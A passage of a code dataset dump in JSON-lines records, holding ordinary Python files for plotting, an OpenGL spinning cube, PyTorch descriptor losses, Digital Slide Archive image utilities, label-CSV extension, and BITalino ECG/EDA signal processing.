useOffset=False)\nhandles, labels = P.gca().get_legend_handles_labels()\nby_label = OrderedDict(zip(labels, handles))\nP.legend(by_label.values(), by_label.keys(), numpoints = 1, loc = 'upper right', fontsize=16)\n\n\n", "sub_path": "bin/plot_true_corrs.py", "file_name": "plot_true_corrs.py", "file_ext": "py", "file_size_in_byte": 2652, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.arange", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.polyval", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 38, "usage_type": "call"}, {"api_name": "pylab.rcParams.update", "line_number": 50, "usage_type": "call"}, {"api_name": "pylab.rcParams", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pylab.ion", "line_number": 51, "usage_type": "call"}, {"api_name": "pylab.cm.Set1", "line_number": 53, "usage_type": "call"}, {"api_name": "pylab.cm", "line_number": 53, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 53, "usage_type": "call"}, {"api_name": "pylab.figure", "line_number": 57, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "pylab.plot", "line_number": 65, "usage_type": "call"}, {"api_name": "pylab.title", "line_number": 67, "usage_type": "call"}, {"api_name": "pylab.axhline", "line_number": 68, "usage_type": "call"}, {"api_name": "pylab.ylabel", "line_number": 69, "usage_type": "call"}, {"api_name": "pylab.xlabel", "line_number": 70, "usage_type": "call"}, {"api_name": "pylab.xlim", "line_number": 71, "usage_type": "call"}, {"api_name": "pylab.ticklabel_format", "line_number": 73, "usage_type": "call"}, {"api_name": "pylab.gca", "line_number": 74, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 75, "usage_type": "call"}, {"api_name": "pylab.legend", "line_number": 76, "usage_type": "call"}]} +{"seq_id": "419683226", "text": "import pygame\nfrom rpigl import glesutils, transforms\nfrom rpigl.gles2 import *\n\nvertices = [(0.0,0.0,0.0), (0.5,0.0,0.0), (0.5,0.5,0.0), (0.0, 0.5,0.0), \n (0.0,0.0,-0.5), (0.5,0.0,-0.5), (0.5,0.5,-0.5), (0.0, 0.5,-0.5)]\n\nouter_vertices = [(-0.5, -0.5, 0.5), (0.5, -0.5, 0.5), (0.5, 0.5, 0.5), (-0.5, 0.5, 0.5),\n (-0.5, -0.5, -0.5), (0.5, -0.5, -0.5), (0.5, 0.5, -0.5), (-0.5, 0.5, -0.5)]\n\nindices_face_1 = (0, 1, 2, 0, 3)\n\nindices_face_2 = (4, 5, 6, 4, 7)\n\nindices_face_3 = (1, 5, 6, 1, 2)\n\nindices_face_4 = (0, 4, 7, 0 ,3)\n\nindices_outer = (0, 1, 2, 3, 0, 4, 5, 1, 5, 6, 2, 6, 7, 3, 7, 4)\n\nindices_points = (0, 1, 2, 3)\n\narray_spec = glesutils.ArraySpec(\"vertex_attrib:3f\")\n\nvertex_glsl = array_spec.glsl() + \"\"\"\nuniform mat4 transform_matrix;\nvoid main(void) {\n gl_Position = transform_matrix * vec4(vertex_attrib, 1.0);\n gl_PointSize = 2.0;\n}\n\"\"\"\n\nfragment_glsl = \"\"\"\nuniform vec4 color;\nvoid main(void) {\n gl_FragColor = color;\n}\n\"\"\"\n\n\n\nclass MyWindow(glesutils.GameWindow):\n\n def init(self):\n\n self.angle = 10\n self.framerate = 20\n\n self.vertex_shader = glesutils.VertexShader(vertex_glsl)\n self.fragment_shader = glesutils.FragmentShader(fragment_glsl)\n\n self.program1 = glesutils.Program(self.vertex_shader, self.fragment_shader)\n self.program1.use()\n\n glClearDepthf(1.0)\n glDepthFunc(GL_LESS)\n glEnable(GL_DEPTH_TEST)\n\n\n glClearColor(0.5, 0.5, 0.5, 1)\n\n self.program1.uniform.light_dir.value = ((0, 1, -1))\n\n self.verteces_buffer = array_spec.create_buffer(vertex_attrib=vertices)\n\n self.elements_face_1 = glesutils.ElementBuffer(indices_face_1)\n self.elements_face_2 = glesutils.ElementBuffer(indices_face_2)\n self.elements_face_3 = glesutils.ElementBuffer(indices_face_3)\n self.elements_face_4 = glesutils.ElementBuffer(indices_face_4)\n\n self.elements_outer = glesutils.ElementBuffer(indices_outer)\n self.elements_points = glesutils.ElementBuffer(indices_points)\n\n self.outer_matrix = transforms.compose(transforms.rotation_degrees(20, \"z\"), \n transforms.rotation_degrees(20, \"y\"), \n transforms.rotation_degrees(20, \"x\"),\n transforms.scaling(1.2))\n\n self.points_matrix = transforms.compose(transforms.stretching(0.1, 1, 1.5),\n transforms.translation(-0.5, -0.5, -0.5))\n\n def on_frame(self, time):\n self.angle = self.angle + time*0.02\n self.redraw()\n\n def draw(self):\n#Draw outer lines\n self.program1.uniform.transform_matrix.value = self.outer_matrix\n self.program1.uniform.color.value = (1, 1, 1, 1)\n self.verteces_buffer.draw(elements=self.elements_outer, mode=GL_LINE_STRIP)\n#Draw points\n self.program1.uniform.transform_matrix.value = self.points_matrix\n self.program1.uniform.color.value = (0, 0, 0, 1)\n self.verteces_buffer.draw(elements=self.elements_points, mode=GL_POINTS) \n\n#Draw spinning cube\n rotation_matrix = transforms.compose(transforms.rotation_degrees(self.angle, \"z\"), \n transforms.rotation_degrees(self.angle, \"y\"),\n transforms.compose(transforms.rotation_degrees(self.angle, \"x\")))\n\n self.program1.uniform.transform_matrix.value = rotation_matrix\n self.program1.uniform.color.value = (1, 0, 0, 1)\n self.verteces_buffer.draw(elements=self.elements_face_1, mode=GL_TRIANGLE_STRIP)\n self.program1.uniform.color.value = (0, 1, 0, 1)\n self.verteces_buffer.draw(elements=self.elements_face_2, mode=GL_TRIANGLE_STRIP)\n self.program1.uniform.color.value = (0, 0, 1, 1)\n self.verteces_buffer.draw(elements=self.elements_face_3, mode=GL_TRIANGLE_STRIP)\n self.program1.uniform.color.value = (0, 1, 1, 1)\n self.verteces_buffer.draw(elements=self.elements_face_4, mode=GL_TRIANGLE_STRIP)\n\n\nMyWindow(200, 200, pygame.RESIZABLE).run()", "sub_path": "examples/chapter6-spinning-cube.py", "file_name": "chapter6-spinning-cube.py", "file_ext": "py", "file_size_in_byte": 3964, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "rpigl.glesutils.ArraySpec", "line_number": 23, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 23, "usage_type": "name"}, {"api_name": "rpigl.glesutils.GameWindow", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rpigl.glesutils", "line_number": 42, "usage_type": "name"}, {"api_name": "rpigl.glesutils.VertexShader", "line_number": 49, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 49, "usage_type": "name"}, {"api_name": "rpigl.glesutils.FragmentShader", "line_number": 50, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 50, "usage_type": "name"}, {"api_name": "rpigl.glesutils.Program", "line_number": 52, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 52, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 66, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 66, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 67, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 67, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 68, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 68, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 69, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 69, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 71, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 71, "usage_type": "name"}, {"api_name": "rpigl.glesutils.ElementBuffer", "line_number": 72, "usage_type": "call"}, {"api_name": "rpigl.glesutils", "line_number": 72, "usage_type": "name"}, {"api_name": "rpigl.transforms.compose", "line_number": 74, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 74, "usage_type": "name"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 74, "usage_type": "call"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 75, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 75, "usage_type": "name"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 76, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 76, "usage_type": "name"}, {"api_name": "rpigl.transforms.scaling", "line_number": 77, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 77, "usage_type": "name"}, {"api_name": "rpigl.transforms.compose", "line_number": 79, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 79, "usage_type": "name"}, {"api_name": "rpigl.transforms.stretching", "line_number": 79, "usage_type": "call"}, {"api_name": "rpigl.transforms.translation", "line_number": 80, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 80, "usage_type": "name"}, {"api_name": "rpigl.transforms.compose", "line_number": 97, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 97, "usage_type": "name"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 97, "usage_type": "call"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 98, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 98, "usage_type": "name"}, {"api_name": "rpigl.transforms.compose", "line_number": 99, "usage_type": "call"}, {"api_name": "rpigl.transforms", "line_number": 99, "usage_type": "name"}, {"api_name": "rpigl.transforms.rotation_degrees", "line_number": 99, "usage_type": "call"}, {"api_name": "pygame.RESIZABLE", "line_number": 112, "usage_type": "attribute"}]} +{"seq_id": "132728321", "text": "import torch\nimport torchvision\nimport numpy as np\nimport cv2\nfrom homography_transform import *\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CrossEntropyLoss(torch.nn.Module):\n def __init__(self):\n super(CrossEntropyLoss, self).__init__()\n self.criterion = torch.nn.CrossEntropyLoss(reduction='none').cuda()\n def forward(self, inps, labels, masks=None):\n loss = self.criterion(inps, labels)\n if masks is not None:\n loss = loss * masks\n loss = loss.sum()/masks.sum()\n else:\n loss = loss.mean()\n return loss\n\nclass TripletLossWithGridSample(nn.Module):\n def __init__(self, positive_margin=1.0, negative_margin=0.2, lambda_d=250, grid=8):\n super(TripletLossWithGridSample, self).__init__()\n self.positive_margin = positive_margin\n self.negative_margin = negative_margin\n self.lambda_d = lambda_d\n self.grid = grid\n\n def switch_coord(self, points):\n switched = torch.zeros(points.shape)\n switched[:, 1] = points[:, 0]\n switched[:, 0] = points[:, 1]\n return switched\n\n def grid_sample(self, points, descriptors, H, W):\n switched = self.switch_coord(points)\n switched[:, 0] = (switched[:, 0] / (float(W)/2.)) - 1.\n switched[:, 1] = (switched[:, 1] / (float(H)/2.)) - 1.\n switched = switched.view(1, 1, -1, 2).float().cuda()\n sampled_descriptors = F.grid_sample(descriptors, switched, mode='nearest')\n return sampled_descriptors\n\n\n def forward(self, unwarped_descriptors, warped_descriptors, homography):\n Hc, Wc = unwarped_descriptors.shape[2], unwarped_descriptors.shape[3]\n xs, ys = torch.meshgrid(torch.arange(Hc), torch.arange(Wc))\n coord_cells = torch.cat((xs.unsqueeze(2), ys.unsqueeze(2)), dim=2)\n coord_cells = coord_cells * self.grid + self.grid//2\n coord_cells = coord_cells.reshape(Hc*Wc, 2)\n coord_cells = coord_cells.data.numpy().astype('float')\n coord_cells, warped_cells = warp_pairs(coord_cells, homography, Hc*self.grid, Wc*self.grid)\n coord_cells = torch.from_numpy(coord_cells)\n warped_cells = torch.from_numpy(warped_cells)\n d1 = self.grid_sample(coord_cells, unwarped_descriptors, Hc*self.grid, Wc*self.grid).cuda()\n d2 = self.grid_sample(warped_cells, warped_descriptors, Hc*self.grid, Wc*self.grid).cuda()\n valid_length = coord_cells.shape[0]\n warped_cells = warped_cells.reshape(valid_length, 1, 2).cuda()\n coord_cells = warped_cells.reshape(1, valid_length, 2).cuda()\n cell_dist = torch.norm(coord_cells-warped_cells, dim=-1)\n s = (cell_dist <= (self.grid-0.5)).float()\n D = d1.shape[1]\n d1 = d1.reshape(D, -1)\n d2 = d2.reshape(D, -1)\n dot_dist = d1.t() @ d2\n #s = torch.eye(dot_dist.shape[0]).cuda().float()\n positive_dist = torch.clamp(self.positive_margin - dot_dist, 0, None)\n negative_dist = torch.clamp(dot_dist - self.negative_margin, 0, None)\n loss = self.lambda_d * s * positive_dist + (1-s) * negative_dist\n normalization = float(valid_length * Hc * Wc)\n loss = loss.sum()/normalization\n\n return loss\n", "sub_path": "losses.py", "file_name": "losses.py", "file_ext": "py", "file_size_in_byte": 3234, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.functional.grid_sample", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.meshgrid", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "52615214", "text": "import girder_client\nfrom PIL import Image\nfrom io import BytesIO\nimport numpy as np\nfrom math import ceil\nfrom imageio import imwrite\nfrom json import dumps\n\nAPI_URLS = dict(\n CB='http://computablebrain.emory.edu:8080/api/v1',\n Transplant='http://transplant.digitalslidearchive.emory.edu:8080/api/v1',\n Candygram='http://candygram.neurology.emory.edu:8080/api/v1'\n)\n\n\ndef get_user_by_id(gc, user_id):\n \"\"\"Get DSA user info from user id.\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n authenticated client\n user_id : str\n DSA id of user\n\n Return\n ------\n user : str\n DSA user information\n\n \"\"\"\n user = gc.get(f'user/{user_id}')\n return user\n\n\ndef login(api_url=None, username=None, password=None, dsa=None):\n \"\"\"Login to a girder client session.\n\n Parameters\n ----------\n api_url : str, optional\n DSA instance to use (hint: url ends with api/v1 most of the time), will be ignored if dsa is not None\n username : str, optional\n if both username and password are given, then client is authenticated non-interactively\n password : str, optional\n if both username and password are given, then client is authenticated non-interactively\n dsa : str, optional\n alternative to the api_url parameters, pass in CB for computablebrain, Transplant for transplant, candygram for\n candygram\n\n Returns\n -------\n gc : girder_client.GirderClient\n authenticated instance\n\n \"\"\"\n if dsa is not None:\n try:\n api_url = API_URLS[dsa]\n except KeyError:\n raise Exception('dsa key not found: {}'.format(dsa))\n elif api_url is None:\n raise Exception(\"api_url and dsa parameters can't both be None\")\n\n gc = girder_client.GirderClient(apiUrl=api_url)\n\n if username is not None and password is not None:\n gc.authenticate(username=username, password=password)\n else:\n gc.authenticate(interactive=True)\n return gc\n\n\ndef get_item_image(gc, item_id, image_type, width=256, return_type='PIL'):\n \"\"\"Get an associated image for a large image compatible item (thumbnail, label, macro)\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n instance of girder client\n item_id : str\n item id\n image_type : str\n the associated image to get, options include thumbnail, label, macro\n width : int (optional)\n the width of the returned image, the height will be adjusted to keep the original aspect ratio\n return_type : str (optional)\n return type of the image, either 'PIL' or 'Array' for numpy array\n\n Return\n ------\n image : PIL image\n RGB image\n\n \"\"\"\n url = 'item/{}/tiles/images/{}?width={}&encoding=JPEG'\n\n content = gc.get(url.format(item_id, image_type, width), jsonResp=False).content\n image = Image.open(BytesIO(content))\n\n if return_type == 'Array':\n image = np.array(image)\n elif return_type != 'PIL':\n print('could not recognize return_type {}, returning in PIL format'.format(return_type))\n return image\n\n\ndef get_recursive_items(gc, parent_id, parent_type='folder'):\n \"\"\"Get all items under a folder or collection, recursively. Note that this will not work for virtual folders.\n\n Parameters\n ---------\n gc: girder_client.GirderClient\n an authenticated girder client session\n parent_id: str\n DSA id for parent folder to recursively search for items\n parent_type: str (Default: 'folder')\n set to 'collection' if the parent_id is a collection\n\n Returns\n -------\n items : list\n DSA items found under parent folder/collection\n\n \"\"\"\n items = gc.get('resource/{}/items?type={}&limit=0&sort=_id&sortdir=1'.format(parent_id, parent_type))\n return items\n\n\ndef get_region_im(gc, item_id, region):\n \"\"\"Get a region of a DSA WSI image item as a numpy array. You can get a thumbnail of the image by not specifying\n left, top, bottom, or right in the region parameters but providing a magnification parameter.\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n authenticated client\n item_id : str\n item id\n region : dict\n {'left': int, 'right': int, 'bottom': int, 'top': int, 'width': int, 'height': int, 'magnification' float or\n int}. You only need to give width and height OR right and bottom. If all four are given the right and bottom\n will be ignored and a new right and bottom will obtained from left + width and top + height. If magnification\n is not given the native magnification will be used.\n\n Return\n ------\n im : numpy.ndarray\n RGB(A) region image\n\n \"\"\"\n # if width and height is given then get the right and bottom coordinates\n if 'width' in region and 'height' in region:\n region['right'] = region['left'] + region['width']\n region['bottom'] = region['top'] + region['height']\n\n if 'magnification' not in region:\n region['magnification'] = gc.get('item/{}/tiles'.format(item_id))['magnification']\n\n if 'right' not in region and 'left' not in region and 'top' not in region and 'bottom' not in region:\n url = 'item/{}/tiles/region?units=base_pixels&magnification={}&exact=false&encoding=PNG&jpegQuality=' \\\n '100&jpegSubsampling=0'\n content = gc.get(url.format(item_id, region['magnification']), jsonResp=False).content\n else:\n url = 'item/{}/tiles/region?left={}&top={}&right={}&bottom={}&units=base_pixels&magnification={}' + \\\n '&exact=false&encoding=PNG&jpegQuality=100&jpegSubsampling=0'\n content = gc.get(url.format(item_id, region['left'], region['top'], region['right'], region['bottom'],\n region['magnification']), jsonResp=False).content\n image = np.array(Image.open(BytesIO(content)))\n return image\n\n\ndef image_items_mosaic(gc, items, n_cols=6, im_size=(256, 256), save_path=None):\n \"\"\"Given a list of image item information, either a list of item ids or a list of item dicts, get thumbnails for\n each image and concatentate them into a mosaic of images. The images are all grabbed at the same resolution and\n are padded with white pixels to keep the aspect ratio of original image. The number of rows images is determined\n by the n_cols parameters.\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n authenticated client if working with private images\n items : list\n list of item ids or list of items dicts, both will work\n n_cols : int (optional)\n number of images in each row, will determine how many rows the mosaic will have\n im_size : tuple (optional)\n size of each image, padded with white to preserve aspect ratio\n save_path : str (optional)\n file path with filename used to save the mosaic image to, as PNG or similar format\n\n Return\n ------\n mosaic : np.ndarray\n mosaic image in RGB form (alpha channel will not be maintained)\n\n \"\"\"\n # save n_cols images accros, get the number of rows needed\n n_rows = ceil(len(items) / n_cols)\n\n # create the mosaic array\n mosaic = np.zeros((im_size[0] * n_rows, im_size[1] * n_cols, 3), dtype=np.uint8)\n\n for i, item in enumerate(items):\n # get the thumbnail - pad with white space to conserve apsect ratio\n try:\n content = gc.get('item/{}/tiles/thumbnail?width={}&height={}&fill=%23FFFFFF&encoding=PNG'.format(\n item['_id'], im_size[0], im_size[1]), jsonResp=False).content\n except:\n content = gc.get('item/{}/tiles/thumbnail?width={}&height={}&fill=%23FFFFFF&encoding=PNG'.format(\n item, im_size[0], im_size[1]), jsonResp=False).content\n image = np.array(Image.open(BytesIO(content)))[:, :, :3]\n\n # find location to put image into mosaic array\n mosaic[\n int(i / n_cols) * im_size[0]:int(i / n_cols) * im_size[0] + im_size[0],\n (i % n_cols) * im_size[0]:(i % n_cols) * im_size[0] + im_size[0], :] = image\n\n if save_path is not None:\n # save the image\n imwrite(save_path, mosaic)\n return mosaic\n\n\ndef get_collection_id(gc, collection_name):\n \"\"\"Get the id of a collection by name.\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n authenticated client for private collections\n collection_name : str\n name of collection\n\n Return\n ------\n collection_id : str\n id of the collection, returns None if no collections with given name\n\n \"\"\"\n item_id = None\n for collection in gc.listCollection():\n if collection['name'] == collection_name:\n item_id = collection['_id']\n break\n return item_id\n\n\ndef create_virtual_folder(gc, source_collection_name, target_fld_id, metadata_key):\n \"\"\"Create a virtual folder using single metadata key.\n\n Parameters\n ----------\n gc : girder_client.GirderClient\n authenticated client\n source_collection_name : str\n name of collection to use as source, all items in this collection will be searched to populate the virtual folder\n target_fld_id : str\n id of the virtual folder, must be previously created\n metadata_key : str\n metadata key to use to populate the virtual folder\n\n Return\n ------\n fld_ids : list\n list of created virtual folders\n\n \"\"\"\n # unique values for metadata in source collection\n unique_values = set()\n collection_id = get_collection_id(gc, source_collection_name)\n for item in get_recursive_items(gc, collection_id, parent_type='collection'):\n if 'meta' in item:\n meta = item['meta']\n if metadata_key in meta:\n unique_values.add(meta[metadata_key])\n\n fld_ids = []\n for value in unique_values:\n # set parameters for virtual folder post for this value folder\n params = {\"parentType\": \"folder\", \"parentId\": target_fld_id, \"reuseExisting\": True, \"name\": value,\n \"isVirtual\": True,\n \"virtualItemsQuery\": dumps(\n {\"meta.{}\".format(metadata_key): value, 'baseParentId': {\"$oid\": collection_id}})}\n\n # post the new virtual folder\n fld_ids.append(gc.post(\"folder\", parameters=params)['_id'])\n\n return fld_ids\n", "sub_path": "modules/girder_utils.py", "file_name": "girder_utils.py", "file_ext": "py", "file_size_in_byte": 10340, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "girder_client.GirderClient", "line_number": 65, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 99, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 99, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 169, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 169, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 169, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 202, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 212, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 212, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 212, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 212, "usage_type": "call"}, {"api_name": "imageio.imwrite", "line_number": 221, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 283, "usage_type": "call"}]} +{"seq_id": "486894562", "text": "from skimage import io\nimport os\nimport csv\n\nTRAIN_DIR = \"/cluster/academic/CSCI481/fluke_net/kaggle_dataset/train\"\nALL_LABELS_CSV = \"all_train_labels\"\n\nwith open(ALL_LABELS_CSV + \".csv\", newline='') as orig_f:\n orig = csv.DictReader(orig_f)\n fieldnames = orig.fieldnames\n fieldnames.append(\"BW\")\n fieldnames.append(\"W\")\n fieldnames.append(\"H\")\n fieldnames.append(\"AR\")\n with open(ALL_LABELS_CSV + \"_extended.csv\", \"w\", newline='') as out_f:\n out = csv.DictWriter(out_f, fieldnames=fieldnames)\n out.writeheader()\n for row in orig:\n img_path = row['Image']\n image = io.imread(os.path.join(TRAIN_DIR, img_path))\n row[\"BW\"] = (len(image.shape) == 2)\n row[\"W\"] = image.shape[1]\n row[\"H\"] = image.shape[0]\n row[\"AR\"] = float(row[\"W\"])/row[\"H\"]\n out.writerow(row)\n", "sub_path": "label_files/extend_labels.py", "file_name": "extend_labels.py", "file_ext": "py", "file_size_in_byte": 879, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "csv.DictReader", "line_number": 9, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 16, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 20, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}]} +{"seq_id": "197529772", "text": "from local_bitalino import BITalino\nimport time,datetime\nimport numpy\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport biosppy as bs # maybe not used!\n\nimport scipy.io as sio\nfrom scipy import signal\nimport scipy\n\nfrom socket import socket\nimport peakutils\nimport configparser\nimport getopt\nimport sys,os\nimport math\n\n\n\nWEB_HOST_ADDRESS = \"\"\nWEB_PORT = 1234\nplot = True\nsend_flag = True\nsave_raw_data = True\n\nlowcut = 30\nhighcut = 200\n\nlabels = [\"'nSeq'\", \"'I1'\", \"'I2'\", \"'O1'\", \"'O2'\", \"'A1'\", \"'A2'\", \"'A3'\", \"'A4'\", \"'A5'\", \"'A6'\"]\n\n# initial settings - default settings\nmacAddress = '20:16:12:22:01:28'\nrunning_time = 30\nbatteryThreshold = 30\nacqChannels = [0,1] # 1 for A2 | 0 - A1\nsamplingRate = 1000\nnSamples = 100\ndigitalOutput =[1,1]\n\n\ndef tostring(data):\n \"\"\"\n :param data: object to be converted into a JSON-compatible `str`\n :type data: any\n :return: JSON-compatible `str` version of `data`\n\n Converts `data` from its native data type to a JSON-compatible `str`.\n \"\"\"\n dtype = type(data).__name__\n if dtype == 'ndarray':\n if numpy.shape(data) != ():\n data = data.tolist() # data=list(data)\n else:\n data = '\"' + data.tostring() + '\"'\n elif dtype == 'dict' or dtype == 'tuple':\n try:\n data = json.dumps(data)\n except:\n pass\n elif dtype == 'NoneType':\n data = ''\n elif dtype == 'str' or dtype == 'unicode':\n data = json.dumps(data)\n\n return str(data)\n\ndef send_to_server(data_as_json):\n '''\n function to send the data to the websocket.\n :param data_as_json:\n :return:\n '''\n #instanciate a socket\n sock = socket()\n\n #connect to the socket\n sock.connect((WEB_HOST_ADDRESS,int(WEB_PORT)))\n\n # send the data as a json\n sock.send(data_as_json.encode('utf-8'))\n\n # close the connection.\n sock.close()\n\ndef butter_bandpass(lowcut, highcut, fs, order=1):\n nyq = 0.5 * fs\n low = lowcut / nyq\n high = highcut / nyq\n b, a = signal.butter(order, [low, high], btype='band')\n return b, a\n\ndef butter_highpass(cutoff, fs, order=1):\n nyq = 0.5 * fs\n normal_cutoff = cutoff / nyq\n b, a = signal.butter(order, normal_cutoff, btype='high', analog=False)\n return b, a\n\ndef getpeak(ecg, time):\n '''detects the peak from the array!'''\n if(len(ecg) < 500):\n return [0]\n else:\n indexes = peakutils.indexes(ecg, thres=0.8 , min_dist=2)\n return indexes\n\n\ndef get_time_domain_features(ecg,peaklist,fs):\n '''\n\n :param ecg: our filtered signal\n :param peaklist: array of indexes which gives th peak\n :param fs: sampling frequency\n :return: ??\n '''\n RR_list = []\n cnt = 0\n while (cnt < (len(peaklist) - 1)):\n RR_interval = (peaklist[cnt + 1] - peaklist[cnt]) # Calculate distance between beats in # of samples\n s_dist = (RR_interval / fs)\n RR_list.append(s_dist) # Append to list\n cnt += 1\n\n hr = 60 / np.mean(RR_list) * 0.1 # 60sec (1 minute) / average R-R interval of signal * (new sample arrives).\n\n\n return hr\n\n\ndef eda_bin_to_microsiemens(eda):\n '''\n Vcc = battery voltage = 3.7 V | Sensor_gain = 1100\n RMOhm = 1 - EDAB / 2^n (sensor resistance in mega ohms)\n EDAS = 1 / RMOhm (conductance in microsiemens)\n Reference : http://forum.bitalino.com/viewtopic.php?f=12&t=128\n\n :param eda: eda array\n :return:\n '''\n # convert binary data to micro siemens\n eda_value_microsiemens = []\n for j in range(0, len(eda)):\n r = 1 - (eda[j] / 1023)\n eda_mSiemens = 1 / r\n eda_value_microsiemens.append(eda_mSiemens)\n\n return eda_value_microsiemens\n\ndef ecg_bin_to_millivolts(ecg):\n '''\n Vcc = battery voltage = 3.7 V | Sensor_gain = 1100\n RMOhm = 1 - EDAB / 2^n (sensor resistance in mega ohms)\n EDAS = 1 / RMOhm (conductance in microsiemens)\n Reference : http://forum.bitalino.com/viewtopic.php?f=12&t=128\n\n :param eda: eda array\n :return:\n '''\n\n ecg_value_millivolts = []\n for i in range(0, len(ecg)):\n x = ecg[i]/1024 - (0.5) * 3.3\n x = x/1100\n x = x * 1000\n ecg_value_millivolts.append(x)\n\n return ecg_value_millivolts\n\n\ndef eda_process(eda):\n pass\n\n\ndef 